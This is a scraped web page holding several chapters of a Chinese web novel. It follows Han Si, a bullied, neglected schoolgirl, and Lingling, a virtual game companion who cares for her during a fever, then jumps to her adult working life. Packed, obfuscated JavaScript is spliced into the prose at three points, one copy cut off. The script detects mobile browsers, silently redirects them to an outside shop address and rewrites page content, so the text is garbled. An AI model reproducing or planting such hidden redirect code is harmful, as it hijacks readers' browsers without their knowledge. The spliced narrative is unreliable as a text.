韩思鸡皮疙瘩起一身,根本没想到他们如此胆大包天厚颜无耻,惊慌之余是莫大的恶心反胃,她打掉那只不老实的手想要挣脱,但不知又是谁猛然用力抓住了她的胳膊。 楼道间是监控死角。 楼上就是办公室,还有几个老师在办公室里,他们能听到吗。 韩思大声尖叫,几乎刺破耳膜的声音骤然响起,但不过瞬息间的功夫,嘴巴就被捂得死紧。 动手动脚的几个立刻就退缩了,他们脸上的惊慌一晃而过,接着是恶劣的狰狞,唾骂了几句脏话后松开手,匆忙离开。 那刚动手动脚的男生看上去还有些气急败坏,他临走前猛然拽住韩思的头发,往前一拽。 膝盖碰地,幸好有手掌勉强缓冲,但又因大力的牵扯被拖出段距离才松开,疼痛只增不减,直冲天灵盖。 直到那群人的脚步声彻底远去,她才大口喘息,最先翻涌上来的是皮肤上撕裂般的痛楚,结痂不过两三天的伤口裂开,裤子有股黏滑的凉意,貌似渗出了点血。 接着隐隐觉得膝盖骨又肿又涨,生理性的眼泪止不住在眼眶里酝酿,她拍了拍自己的脸,又咬紧牙关,生生憋了回去。 祸不单行,对她而言,不仅不单行,更是接二连三接踵而至。 家里的门锁这次很轻易就打开了,过于生疏的顺畅感觉让她都一愣,还没反应过来象征着什么,大门打开。 最先印入眼帘的那个坐在沙发上的人,是她名义上的妈妈。 许久未见。 韩思的嘴巴微张,却没发出什么声音。 她把伞放在鞋柜上,雨水滴滴答答流淌到地上。 那个女人问向停留在玄关处的少女。 “韩思回来了?你裤子怎么了?” 17. 潮湿 韩思转身关上门,语气淡淡:“摔伤了。” “洗干净点,脏得挺明显。” “好。”她点点头,走到那个女人的边上的停下。 她遗传了她的母亲,她们是同一种极其普通平凡的长相,脸偏黄,身形偏瘦,头发也如出一辙,向后扎起一个中不溜球的马尾,额头露在外头。 也许是最近无论工作还是生活都忙得不可开交,她脸上的皱纹更多了,紧锁着的眉头挤压出一层一层的褶皱。 “你不去写作业?” “……”虽然是母女,韩思还是觉得那张脸有些陌生,带着些侥幸,她问出口,“我想换个班级可以吗?” 女人啃了口苹果,又瞥了眼韩思的脸:“事真多,为什么要换?” “班级里的男生会打架斗殴。” “那你不惹他们不就好了,人家也不会没由头就欺负你。” 韩思低着头,仍是温顺的模样。 她袖子里的手紧握,指甲扣进肉里,把泛滥的委屈压抑在心底,控制语气尽量平稳,却仍带着些恳求:“但我害怕,不知道什么时候就惹到他们。” “那你就道歉。” 冲动让话语在经过大脑前就脱口而出:“不是我的错的话,也要道歉吗?凭什么。” 说完韩思看着坐在沙发上笃悠悠的女人,只见她放下苹果,腰杆挺起来,眉头又拧紧。 “哎你这孩子?我教你为人处事的道理,你还杠上了,到社会上谁管你对错?就算是人家错了你先道歉不行吗!公主病也要有公主病的资本。” “一个道歉就能解决的事情,你想那么多干什么,人家也是学生,不会为难你的。” 一口气说完这些她又深呼吸几下眉头松开,好像平复了心情,缩回已经有些起球的旧沙发里。 “就不到一年的功夫了,你熬一熬总能熬过去的,专心高考,其他的管七管八做什么,别让我发现你成绩掉了,你要知道你的生活只能靠你自己,妈也是为你好。” 她看上去好像很累,机械地咬了几口苹果。 安静片刻后,她声音沙哑:“你弟弟好像这次真要进少管所了。” 说这话是希望自己安慰她吗? 韩思没接话,按照常理来说,她现在也许应该是高兴。 其实她也是个自私的人,她讨厌她弟弟很久了,从他的出生起,那个叫母亲的女人就在自己的世界里失踪了,为他鞍前马后,几乎从未感受的母爱被那个所谓的血脉相连的弟弟肆意挥霍浪费。 最后还要来一句。 那个女人拧着眉头,咽下嘴里的苹果转过脸来。 “他可是你同胞的弟弟,至少说点什么吧,怎么这副德行,果然你姨母说得对,我养了个自私的白眼狼,我老了肯定不能靠你这种冷漠的人养老。” 好像只要是斥责韩思的话题,话匣子就轻易地打开了。 韩思抿着嘴,她怕她张嘴就会控制不住顶嘴嘲讽。 她弟弟现在要进少管所啦。是因果报应?还是咎由自取? 沙发上的女人转过头来,枯燥的头发下,是那张已经有晒斑的、因生活奔波劳碌而疲惫苍老的脸。 “你外婆真的没有留下来什么值钱的东西了吗?” 上帝唯一算是怜悯的,是以母亲的爱为交换,留给她一个爱她的外婆。 只是上帝的那份怜悯不是很多。 现在连嘲讽的心思都失去了。 韩思有点疲倦:“没有。” “还有你的房间为什么锁着?是有什么见不得人的东西吗?” “一个人住,锁着安全。” 女人还想说话,韩思先开口打断了:“你儿子现在多半心情不好,多陪着他,防止他做傻事。” 当然,那种人是不可能做傻事的,他最惜命。 女人放下了苹果核,不知为什么又瞪了韩思一眼,但好像又转念一想觉得韩思说得在理,拿起包整理好衣服。 临走前又回头看了眼站在客厅中的少女,迟疑片刻后还是说道:“你弟弟太皮了,现在还老是心情不好,他没法独立生活也没法静下心学习,我得陪他,你也体谅下我,不过我会经常来看看你的。” 语气里还有少许的关心,好像在解释她的行为那样。 少女的嗓音平静:“不需要,我和他不一样,我能独立生活,而且过得不错。” 话题结束,门开又关,屋里重回安静。 刚回来的时候正好还遇到大暴雨,大风呼啸的时候伞是没多大用处的,本来她是打算一回家就洗澡换身衣服,但没想到会站在客厅里陪聊半小时。 现在身上的衣服都干得七七八八了,不过还有膝盖上的创面要清理,顺手抄起家里还剩小半瓶的酒精和棉签进了卧室,坐在椅子上卷起裤脚管。 这伤口也是多灾多难,三番两次结痂又裂开,刚被雨水浸泡过已经化起了白脓,仔细看肉里还粘连着蓝色纤维,大概是校裤上掉的。 她小心翼翼一点一点地挑走,又握紧拳头咬着牙,一鼓作气倒了些酒精上去消毒,瞬间火辣辣的灼烧感蹿上来。 也算一回生二回熟,这次倒没有意想中那么痛。 大概是太疲惫了,疼痛消退点后,忽然感觉头晕乎乎的,站起来走了两部更是步履虚浮不太稳当。 看来她暂时没法起来做晚饭了,不过幸好中午吃过,肚子也不饿。 看着天花板有些出神,角落里的墙皮有些剥落,露出灰白色内里,视线范围里升腾起虚影交叉重叠。 落日彻底西沉,最后一缕余晖也被淹没,房间里陷入漆黑。 她登上了《仙缘》。 零零零这次倒没有突然跳脸杀,因为他似乎在不远处和一群人聊天。 韩思粗略扫了眼,那些人身上的装扮一个赛一个昂贵,其中一个id还颇为眼熟,经常挂在电视上,似乎是哪个连锁集团的千金。 “男生还懂包啊,那你最喜欢herm*s哪款啊?” “这得看女孩子喜欢哪款,不过硬要说的话,比起包,倒觉得那些个小皮鞭卷尺还挺有趣。” “之前有配货的时候配到我还挺难过的,要是我男朋友也喜欢就好了,我就扔给他,也算物有所值。” “姐你能不能别聊那问题了,我们做明天副本的计划都快做头秃了。” “靠他不就好了,他很强的!我只要混到首刷的名头,名头有了想要我帮你啥忙我义不容辞。不过你说我爹这次让我把股权的一部分给我哥,但给我中心地段的一套房,我要不要答应……” …… 猛然听见这话题韩思不禁感叹,他这陪玩生意做得还挺不容易,连女孩子喜欢的奢侈品都有所涉猎。 零零零似乎看到了自己,他的眼眸瞬间亮了下,嘴角扬起明媚笑容。 韩思点点头比了个ok示意自己看到了,又赶紧转身走开。 幸好他这次没有大张旗鼓地喊她名字,不然她真想找个地缝钻进去。 不得不承认,零零零站在那些个有钱人的身边不仅不逊色,甚至举手投足里尽是落落大方,站在众星捧月的位置却好像理所当然那样,笑容挂在唇角,张扬毫不露怯。 他不会也是什么隐藏身份的富公子吧? 韩思略思索了下,便自行否认这一天马行空的想法。 人家最多也就玩个两三小时,哪家公子哥天天挂游戏里,这不得被他爸妈打死?而且哪个有钱人会不炫富,这么平易近人还会犯贱的公子哥不可能存在。 他们聊得很热闹,隔着小段距离都能听见笑声传来。 又一次深刻了解到零零零自来熟是天性,他对任何人都会有同样的笑容,这是他为人处事的礼貌而已。 韩思索性换了棵远点的树,毕竟她是需要按时上交作业的人,还有一大叠的空白试卷没有动弹,得个安静的地方沉下心好好写,不然又会是同一道题错三四遍还算不出正确答案。 游戏里的阳光也有点晕人,做了两道题就感觉看不太清这些密密麻麻的小字,她趴着自己膝盖上打算休息下。 忽然感受到身边传来了风,吹动了衣摆擦过皮肤痒痒的,还有股熟悉的气味。 不用抬头就知道是零零零。 他的脸凑得很近,呼吸都喷落在胳膊上。 “我借串线偷偷溜走了,记得你不喜欢人多,所以我这次没有叫你。” 韩思抬起眼皮,透过手臂和膝盖皮肤接触的缝隙,窥见零零零的眼睛亮亮的,好像一条大狗在求夸。 “怎么了?你好像心情不太好。” 听见他在问,但韩思没回应。 几个瞬间的安静后,手指的触感忽然透过发丝传递过来,她下意识抬头,眼神有些迷迷瞪瞪,过了会儿才聚焦:“没有,我没有心情不好。” “你的体温好高,发高烧了?”零零零这时已经收起了笑容, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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韩思脑袋埋进膝盖里,声音闷闷的:“不一样的,我错了的话,没有人会替我兜底。” 情绪来得快去得也快。 发泄完的片刻宁静里,她在零零零那对犹如琥珀琉璃球的瞳孔里,清晰地看到了自己狼狈不堪的模样。 说这些事为了什么?寻求安慰吗? 她有什么立场获得安慰? 胡乱地用袖子擦掉眼角的微湿,又五指收紧,指甲嵌进肉里的疼痛让她灵台短暂清明,恨不得仓皇逃窜,她的声线稳定了很多:“对不起,你就当没听见。” “为什么要和我道歉。”零零零一板一眼地回答,“虽说选择还得你自己做,但你说的有些话我不认同,你不要妄自菲薄。” 对视十秒钟后,韩思率先别开头。 零零零跟着凑到了另一边,他的鼻梁高挺,所以靠近过来的时候,鼻尖与鼻尖贴得极近,好像能在他的瞳孔里看见繁星闪烁。 “没听清楚的话,我可以再说得清晰一点,汉斯小姐你很优秀,你认真努力,心思缜密……” 还没说完,就被一只手用力堵上,温热的掌心贴上嘴唇。 零零零身形微滞,眉梢上挑了下,又错身躲开,在树下少女的边上找了个空地坐下。 他们背靠着游戏里同一棵树。 他手指轻碰薄唇,上面还残留着掌心的触感,有些怪。 “汉斯小姐,其实我也有一个很恨的人,恨不得生啖其血肉,就算记不太清具体的事情了,但这股恨意仍是支撑我活着的支柱,所以我能理解。” 没有回答。 他又带着笑意说道:“我忽然觉得我们还挺缘份,你知道我本来想叫什么吗?你看我的名字像不像三个鸡蛋。” 也许是知道她不会回答,所以他先说了答案:“所以我本来想叫艾格,结果你叫汉斯,你看是不是很有缘份。” 韩思的嘴角忍不住抽动了下。 好牵强的冷笑话。 也只能由这个不着调的人能想出来,他果然不太会安慰人。 仍没有得到回答的零零零自顾自地说着,语气温柔:“你今天吃过晚饭了吗?我居然现在很想吃面条呢,你喜欢面条,还是说米饭?我的话应该是面条多一点。” 他手撑地面,压低的声音逐渐靠近:“你知道游戏里最近推出的现实投影的功能吗?听说能把游戏里投影到现实里,要不要试着用用看?” 他的声音又轻又柔,就好像生怕被拒绝,生怕一旦大声,看不见的东西就会被击碎。 大概是烧上脑子里了,韩思鬼使神差地点点头。 18. 高温 登出游戏的时候,是一阵铺天盖地席卷而来的天旋地转,世界仿佛成了滚筒洗衣机。 仅仅是大口喘气的片刻功夫,涔涔冷汗就已经浸透了衣服。 入目周遭环境昏暗,外面仍旧下着雨,卧室窗户的隔音效果并不好,滴滴答答落在窗沿,似乎比之前回来路上小了不少,在寂静无声里格外清晰。 她抬起手,手背抚上自己的额头。 滚烫。 “果然是发高烧了。是伤口感染引起的高烧,你膝盖上的伤口怎么回事?看上去创面遭受过二次伤害,你怎么会连受两次伤?除了头疼外还有什么其他不舒服的症状吗?” 这道声音像平地一声炸雷。 愣是把韩思怔忪了几秒才回神。 她抬头看着眼前,眨了眨眼睛:“零零零,你这个样子像鬼。” 若说一开始答应时,还有过丢人后悔羞惭等情绪交替作祟,那此时此刻看到零零零真的站在面前的时候,这些个情绪却忽然烟消云散了。 好像借着发烧放纵过情绪后,变得越来越像他那样厚脸皮了。 整个房间里唯一的光源来自面前的少年,面庞用精雕玉琢形容也不为过,皮肤白皙、身形颀长挺拔,细碎莹润的亮光描摹着他的轮廓,一些细末的杂质在他的身体里漂浮。 只怕古代话本里的仙女下凡,不外如是了吧。 韩思突然说:“蓬荜生辉。” 听到少女牛头不对马嘴的回答后,先前一直都笑得张扬随意的那张帅脸此刻难得有点面容扭曲:“我是在问你除了头晕头疼外,还有什么不舒服的地方吗?” “应该没有,你现实生活里是医生吗,不过医生的话不能天天住在游戏里吧。” “不是医生。你伤口怎么来的?” “我想也是。你随便逛逛吧,我的卧室很小,但我没有力气开房门去外面了,我有点想睡觉了,你等会儿叫醒我我关掉设备。” 韩思的声音越来越疲惫,她现在浑身酸痛,只怕走一步路都颤颤巍巍,恨不得倒头就睡,也许睡醒了明天起床就会焕然一新。 “汉斯!” 连名带字被猛然一喊,她稍微清醒了点:“怎么了,你现在要回去了吗?” “不要睡,陪我再聊聊天。” “好。”韩思思维有点迟钝,但还没听清就率先点了点头,“那你想聊什么?” “呃。”零零零好似被问住了,他苦思冥想片刻后才说,“你伤口怎么来的还没回答我呢。” “摔了一跤。”韩思蜷起腿,她抱着自己的膝盖,借少年身上微末的光,能看到伤口化脓发炎得很严重,疼痛如一根根针扎在大脑。 转移注意力并不能让疼痛消失,但能让疼痛变得可以忍受起来。 她忽然掰起了手指:“葱油拌面、海鲜面、雪菜肉丝面、鸡蛋面、炸酱面、阳春面……” 零零零一头雾水,这下轮到他跟不上她的思路了:“你报菜名做什么。” 韩思抬起头,“刚刚你说你想吃面,你喜欢哪种面。” 目光相汇,她的眼睛因光而被照亮、闪烁,瞳孔里泛着些许认真的期待。 外边儿窗台上的雨,好像突然变大了,雨滴子哒哒哒落下来,各有轻重缓急。 “阳春面,你呢。”零零零身体略后倾,后背倚靠上墙面,身后的墙皮已经有些斑驳、渗水透出白漆。 他在她身边站着,就好像真实存在于这间卧室里一样。 但他的身后没有影子,因为光是没有影子的。 韩思快答:“海鲜面。” “你现在生病,最好不要吃海鲜。” “那吃海鲜味泡面,没有海鲜。” “也有微量的海鲜。” 韩思没理会,靠上椅背:“还想吃海鲜炒面,我做菜超级香的,本来打算不读书去开大排档,但出师未捷身先死,开大排档也要很多的启动资金。” 她有些得瑟地故意说道:“感觉这功能挺好的,下次在你面前吃,馋死你。” “好,但我感觉,你会先把自己馋哭。”零零零垂着眼睫,目光扫过来,“你没吃晚饭吧。” 韩思挠了挠头,不知为什么有种被抓包的尴尬感,旋即笑了下打算糊弄过去:“怎么会馋到我,我又不饿,我习惯了不怎么吃晚饭。” 零零零好看的眉头微蹙,眉间起了点皱纹,他看着韩思的笑脸欲言又止,末了又似乎咽下想说的话,没多说什么。 韩思似乎想迅速转移话题,便找了个脑海里在意的事情来,开口问道:“当时我让你帮我惩罚那些个玩家,你都没问我原因,你就不怕我是坏人?” “没有那么胆小的坏人。” 这人不久前还会神色认真地夸,现在又开始调侃打趣。 韩思恨不得竖个不雅手势怒目而视:“……老实人也有老实人的恶毒,况且兔子急了还会踹人呢,不要以貌取人。” 好像被瞪到了,零零零低头了片刻。 反败为胜之际,却听见他认真的回答:“但我感觉,汉斯小姐是个很善良的人,能被你讨厌,肯定是他们的问题。” 他这话才说完,方才说过的那段话猛然再度在脑海里回荡。 ——汉斯小姐你不要妄自菲薄,你很优秀,你认真努力,心思缜密…… 想强迫大脑不要再想了,但早就不由自主,溃不成军。 韩思觉得自己不用手量,就明显觉察到脸颊温又高了一截,脸皮薄就这点不好。 早知道id不用谐音了。 等温度回落些后,她盯着自己膝盖上的伤口,轻声开口:“我很讨厌那几个人,我讨厌到有时候都想诅咒他们早点去死,但我不恨他们。” “恨和讨厌是不一样的,它远远超过讨厌、是深入骨髓的憎恶,会彻底磨去一个人的生活,到最后一切都面目全非,大部分时候还要添上自己为代价。” 少女的声音慢条斯理,却像是有股力量在推着,显得坚定异常,落在急躁的雨点子里,空荡又悠长。 说完韩思略偏头,侧目而视瞥了眼倚靠在墙面上的零零零,少年的侧脸躲藏在碎发的阴影里,只露出了凌厉的下颌线,薄唇抿得笔直。 趁着这一腔头脑子发热的温度还没消退,她再度说道:“你不要恨他们,就是你之前和我说过的,恨不得生啖其血肉的人,不是说劝你就这么放下,宽容大度地放过讨厌的人,我的意思是恨一个人太累太浪费,不值得……” 还在费劲扒拉绞尽脑汁地想着该怎么解释最清楚,却听到身边传来淡淡的回答,嗓音偏低,像是阵风穿过。 “我听懂了,谢谢。” 零零零说恨的那个时候,脸上的表情她曾见过,在很多人脸上见过。 她藏不住心底升起的隐约担忧,总在恐惧事情转向最坏的结果,所以做好了被嘲讽被无视的准备,也想以朋友的立场说出这段话。 得到回答的韩思如释重负:“这段话也是我一直开导自己的。” 她脸颊烫烫的,也不知是烧的还是其他什么,索性张嘴道:“说得都渴了,我去倒杯水。” 身体站直的瞬间,一阵头晕目眩,恶心感上涌到喉腔,手撑着桌面才站稳身形。 模糊的视线里瞥见,零零零似乎伸手想扶一把,但在光影交接触碰的瞬间生生透过,捞了把空。 难得见零零零吃瘪,韩思自然不放过机会,笑话他:“不能动手动脚了吧。” 刚走出卧室门还没来得及喝上一口水,就听见零零零的声音从背后传来。 “我替你约了去医院的车,看时间应该快到了。” “我不想去医院。” “你现在这状态不行,再严重有产生后遗症的可能,如果担心安全问题,我约的是xx医院的专车,他们到了会出示工作证,专车上也有明显的标志……” “我不去。” 韩思回答得斩钉截铁,好像是真的铁了心,回答完又因高烧焉巴了下去,一路摸着墙面总算拿到水杯。 零零零顿住了,空气弥漫着沉默。 他忽然醒悟过来,他们之间隔着的不仅仅是游戏与现实,更为重要的是,他只是一个对她而言认识了不过一个多月的网友,仅是比陌生人更信任一层的关系。 但再多的信任是不可能有的,她没必要冒着生命危险去赌博。 他低垂头,琢磨着说道:“你不想去的话,我再想想看能不能请医生上门,只是这样就不能做检察挂点滴了。” 韩思放下杯子,语气诚恳:“医生上门岂不是更贵了。” “你是因为贵?” 零零零讶然,虽然不含嘲讽的语气,但韩思还是莫名被他这一反问,问得还有点羞耻:“是啊,这个点医生夜班还出诊,肯定很贵,总不能让你付钱吧,我明天早上去医务室配点药就好了,免费的。” “不是我付。”零零零好像又嘴角挂起若有若无的笑意,“不过你就当有人请客吧。” “请医药费?”这还真头一次听。 “嗯,你就当是我陪玩赚的钱,这家医院是其中一人的家族产业。” 韩思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564466|142874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感觉自己可能是烧糊涂了,怎么这事越听越奇妙,感叹道:“结识有钱人就是不一样……但我还是觉得,有点像是欠了人情,我不喜欢欠人东西。” 有些虚影的视线里,她看见零零零收敛起了笑容。 她一直都知道零零零的眼睫长眉骨高但眼窝又深,所以兼具不羁和精致,却第一次发现零零零不笑的时候卧蝉变平,瞳孔留白变多,严肃起来隐约有些凶。 与之截然相反的,是他轻柔的语气:“对他们来说只是顺手的事,你不用太有负担,所以如果只是因为钱的话,去一趟吧。” 韩思一饮而尽杯中的水,透过玻璃杯杯底,能看到少年说话时隐约的担心,这种替病人着急的模样,能不能贪心地理解为是超越普通朋友的关心呢。 半杯常温水对高烧来说只是扬汤止沸。 到了医院住院各种检查挂水,第二天在明媚辰光中醒来后,韩思后知后觉地想起来,如果零零零是人贩子的话,她大概已经到缅甸被割腰子了,这么一想还有点后怕。 吃过早饭又是打开手机向班主任补拍病假单,又是接收厚厚一沓的今日检查结果,根据医生所说,送来的及时,除了炎症比较严重外,没啥大问题,下午办结完手续带着药就可以出院了。 她躺在松软的病床上,抬头看洁白崭新的天花板,头一次住院,还是私人医院的住院部,还挺新奇。躺着放松又睡过去了。 醒来的时候已经临近中午,窗边案上放着瓶饮料,定睛一看竟然又是那瓶眼熟的柠檬茶,她好不容易在昨天刚刚干完家里那箱里的最后一瓶,这品牌也是医院的赞助商吗。 看到柠檬茶就联想到零零零,一时间没有零零零的声音在附近响起,这世界还挺安静。 但又转念一想昨天晚上她那么失态,要是再见面,会是多尴尬窒息的场面。 韩思划开手机,联系人上显示着一个小红点。 是一条来自艾格的好友申请。 头像是三个蛋,看笔迹好像还是他自己画的。 通过好友申请的瞬间,那边的消息秒弹出。 应付完他那几句关心身体的问题后,韩思又顺口提了句,“这家医院还送游戏同款柠檬茶。” 对面秒回:我给你买的,看到你家里的好像喝完了,吃不了心心念念的海鲜面就喝这个吧。 韩思哭笑不得:我不喜欢喝,那柠檬茶酸甜味调得太重了,齁得慌,只是不想浪费而已。 对面回了个:啊…… 仿佛能听到他懊丧的语气。 他又接着说:那你用它刷马桶吧,听说刷马桶很灵。 韩思刚想说没事也没那么讨厌,就看到刷马桶,百感交集,倒还真不愧是他能想出来。 对面又说:对了,你以后不要再这么信任网友了,容易被拐。 韩思:没有下次了。[信誓旦旦.jpg] 一语成谶。 后来那个简笔画头像再也没亮过。 ——“喂喂喂!” 思绪拉回现在。 “whxhd,你不是要和我说故事的吗,怎么到现在十多分钟过去了,一个字都不说啊,逗我好玩吗?”001趴在屏幕上张牙舞爪,终于忍不住抗议,“我就这样等你干等了十多分钟啊。” 韩思笑眯眯地敲下键盘:好玩。 屏幕里的人表情变得不可置信,这游戏连细微的情感变化都做得一清二楚,仿真人和真实的人之间几乎没有隔膜。 韩思又在001的抗议和痛心疾首里慢慢敲键盘:小黑屋可怕吗。 001立刻噤声:这是威胁么?我不说你了不说了,你还是玩我吧玩到下线,还有三分钟你可以尽情玩。 他闭上眼一副誓死如归的表情,又偷偷睁开偷瞄了眼。 whxhd:……我又不是变态。 在安静的沉默里,三分钟的时间眨眼而过。 001再次告饶:小黑屋真的很吓人,求你了别投诉我。 whxhd:不会的。 十二点的指针划过,电脑屏幕变黑。 韩思关电脑拔电源准备睡觉,闭上眼睛躺在床上翻了个身,又带着点不甘心地摸上手机。 她发了句咬牙切齿的语音:“零零零,你丫怎么不问问你自己,逗我好玩吗,你整的什么破替代品,逼得我天天上线。” 对话框没有回复,灰色头像却忽然亮了下。 韩思见怪不怪地关掉手机屏幕,这只是已经发生过成百上千次、已经习惯麻木的 ——眼睛闪光而已。 19. 徒劳 距001记忆清空的那个凌晨后又过了四天,根据过往经验推算,今晚的进度还是送虚拟物品攒好感的阶段,每天能刷出来的来来回回无非都是那几个对话,五年了都没更新过,她都已经倒背如流了。 真羡慕虚拟人物,不用上班做牛做马。 上学的时候想上班,当真上班了以后,却发现她其实也不喜欢上班。 不过要是再来一次选择,韩思仍讨厌那段在学校里的时光。因此与其说年少时想成为大人进入社会,倒不如说她只是想要足够钱,可以独立不被裹挟,生命本能使得她在污泥沼里挣扎,朝着希望去走。 只是前行再前行,依旧难以窥见希望,好像曾经的努力都是徒劳,日复一日的疲累让人发倦。 仅仅走神了片刻,对面甲方的质问就劈头盖脸地下来了。 “这就是你们这边给出的态度吗?我在问的问题需要这么久才能给出解答吗?按贵公司实力来说,不应该是个难事吧,莫非是觉得这小合作可有可无,所以?” 韩思赔笑道:“嘉总您说笑了,我们对此次合作相当重视,您提出问题的第一时间我们就和上级领导反馈过了,但就目前而言,短时间里确实无法给到确切答复,这涉及到一些商户的隐私,在征询他们的同意后会第一时间给您发送邮件的,实在抱歉。” 这位甲方来客姓嘉,曾在韩思现公司做过一段时间,据说是偷偷泄露公司资料捞了好几笔,被发现后辞退,并且在相当的一段时间里因这件事被业内封杀,所以对公司恨之入骨。 后来不知怎地,外界传闻是仗着年轻漂亮攀上了一个有钱的富婆资助他开了个小公司,现在也算是风水轮流转,熬成了甲方,普通人得势都会傲上三分,遑论他这样的,再加上仇人见面更是分外眼红。 这就更不会在意韩思分明与这事儿毫无瓜葛,他如今分明是来报复的,脸上都明写着高高在上的得瑟。 其实从昨天得到消息后,韩思大概就清楚了,这项目基本是死透了。 现在就是为了垂死挣扎下。 男人靠上椅背,翘着二郎腿拿起茶杯:“那我也不为难了,来给我讲讲你们产业的运营模式吧。” 他一饮而尽茶水,又放到桌上。 短短的十来分钟里,韩思站起身第四次熟练地给他沏满茶水,沏完水壶放一边,稍稍松了口气,但又感觉绝不会被如此轻易放过。 她拿起清晰明确的策划书,展示在他面前:“您是想先了解哪个部分呢。” 那男人冷哼了声,悠哉悠哉:“你自己不了解你负责的品?还要问我?” 韩思低头,又抬头勉强笑着应答:“对不起啊嘉总,我刚来A组,业务还有点生疏,A组的CC姐今天正好又请假了,那我先从产品的市场前景来介绍吧。” 其实这次业务对公司来说不大重要,但对韩思来说还挺重要的,这是她进A组后亲自带的第一个项目,从前期调查准备再到计划书策划案都是她亲力亲为,是这段时间来满腔心血的结晶,几乎是稳操胜券的。 不过她的运气,向来都挺差的,倒也习惯忍气吞声。 对面的男人也丝毫没给她面子,冷笑着:“我凭什么担待你?啧。也不知道找个漂亮的,至少聊起来我心情好。” 这种靠踩踏别人获得快乐的人,太常见了。 一想到这次合作落空,她今年的奖金只怕也要落空,真是屋漏偏逢连夜雨。 韩思僵住的姿势又慢慢动起来,她整理好散落在桌面上的策划书,归纳在一块儿,接着不卑不亢说道:“不好意思,我以为您是能分清私人恩怨和公司利益的,我们也不想和个人情绪不稳定的人打交道,所以就这样吧。” 那人显而易见狰狞了:“你他妈说谁分不清私人恩怨,我和你们公司有什么私人恩怨。” 好像被戳中了肺管子,气得够呛,看上去像条活蹦乱跳的鱼。 “我也没说是和我们公司的私人恩怨。”韩思嘴角勾起笑容,她径直走到玻璃门边上,“您喝点水顺顺,喝完了就慢走不送。” 已经是一副送客的架势。 那名叫嘉总的男人走的时候骂骂咧咧,韩思哑然自嘲,这下只怕她不仅仅是没奖金了,还可能倒扣工资。 真不知道那人戾气这么重做什么,楼底下还有专车接送,她连上下班通勤的地铁钱都心疼,S市市中心房价太恐怖,所以只能选择漫长一个半小时且12块地铁才能转回的小出租屋。 临近到家的时候,天已经很暗了,照例走进下班路上经过的便利店,精心挑选心仪的五折便当。 又想到今天这么受苦,她还决定买三串关东煮犒劳下自己。 今天买赠活动结束了,不过就算还有,她也不想再喝那瓶柠檬茶,上次喝完她就发现了,这东西果然还是和五年前一样难喝,迟早逃不掉冲马桶的宿命。 买完单前脚跟刚出门,就被人碰了下胳膊肘。 韩思歪头瞥了眼,那人大晚上还戴着黑色墨镜黑色口罩,还挺奇怪,不过毕竟大城市嘛,也见怪不怪了。 收回目光片刻后,她越想越觉得眼熟,又回头看了眼。 看侧脸和身形,这不是四天前那个大学生吗?吐槽柠檬茶的饮料知己? 他今天照旧穿着外套,只是换了件暗黄的条纹格子纹样的,外套松松垮垮挂在身上,能依稀看见他宽阔的肩和漂亮的锁骨。 这格子样式还挺眼熟,好像在大街上经常见到。 他是住在附近么,附近好像确实有几所大学的分部在。 短短五天就见到了两次,还挺有缘。 “绿灯,请通行——” 边想边走,就穿过了马路。 刺耳的手机铃声忽然划破安静长夜,也打断了韩思漫无目的的思绪。 她拿起手机,却没有先接起电话,而是把音量调至静音,扔回兜里。 盛关东煮的纸杯薄薄的,冬天可以用来暖手,但在夏天却是个特烫手的烫手山芋,龇牙咧嘴地把关东煮放在一边的消防柜上,不过短短几分钟,指尖就已经烫得有些发红。 幸好这儿有个消防柜,不然她得两只手频繁换来换去,才能避免烫伤。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579837|142874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >隔着条车来车往的大马路,对面就是刚的便利店。 这下总算腾出手来,韩思又把手机从兜里掏出来。 手机屏上显示的电话那头一遍没打通,接着又打了一遍,倒也孜孜不倦,韩思叹口气。 “喂——” 电话那头,女人的声音透露着急:“明天还是后天?你哪天有空?为什么又不回我消息了?” “在忙。”韩思认命般妥协了,“明天吧,明天下班以后。” “那就定在明天,你一定要好好表现,把自己捯饬得好看点,对方对你很满意的,人家出差途中都愿意为了你逗留,没有丑女人只有懒女人,你明天起早点,画个妆,穿件好看的连衣裙……” 那女人好像只有在这个话题上,才会和她滔滔不绝地多说一些。 “韩思?你怎么不说话?回答我,听没听见?” 韩思的声音轻飘飘响起:“我在想,弟弟的婚房还差多少钱?” “还有三十多万就凑齐了,你什么时候回家一趟,我给你做你喜欢的菜。” “那你打听过没啊。”她含着笑意,“那男方出不出得起三十多万贴补个陌生人?”话语里是毫不掩饰的锋芒。 分明不想说这些话的,伤敌八百自损一千。 “韩思!”那女人尖利地嘶吼,连名带姓大喝一声,透着电话话筒,都能听见她的气急败坏,“在你眼里我就是这么自私的人吗?我还好心好意想给你做菜,你个狼心狗肺的东西,S市待久了连根都忘了吗?” 好像说着说着觉察到什么,她停下来了片刻,又换上尽力□□的虚伪:“你还年轻,我原谅你不懂!但这次不去你会后悔的,他那种条件在相亲市场上有多稀缺你是不知道!你要求太高了是找不到的!” “我不喜欢男的。” 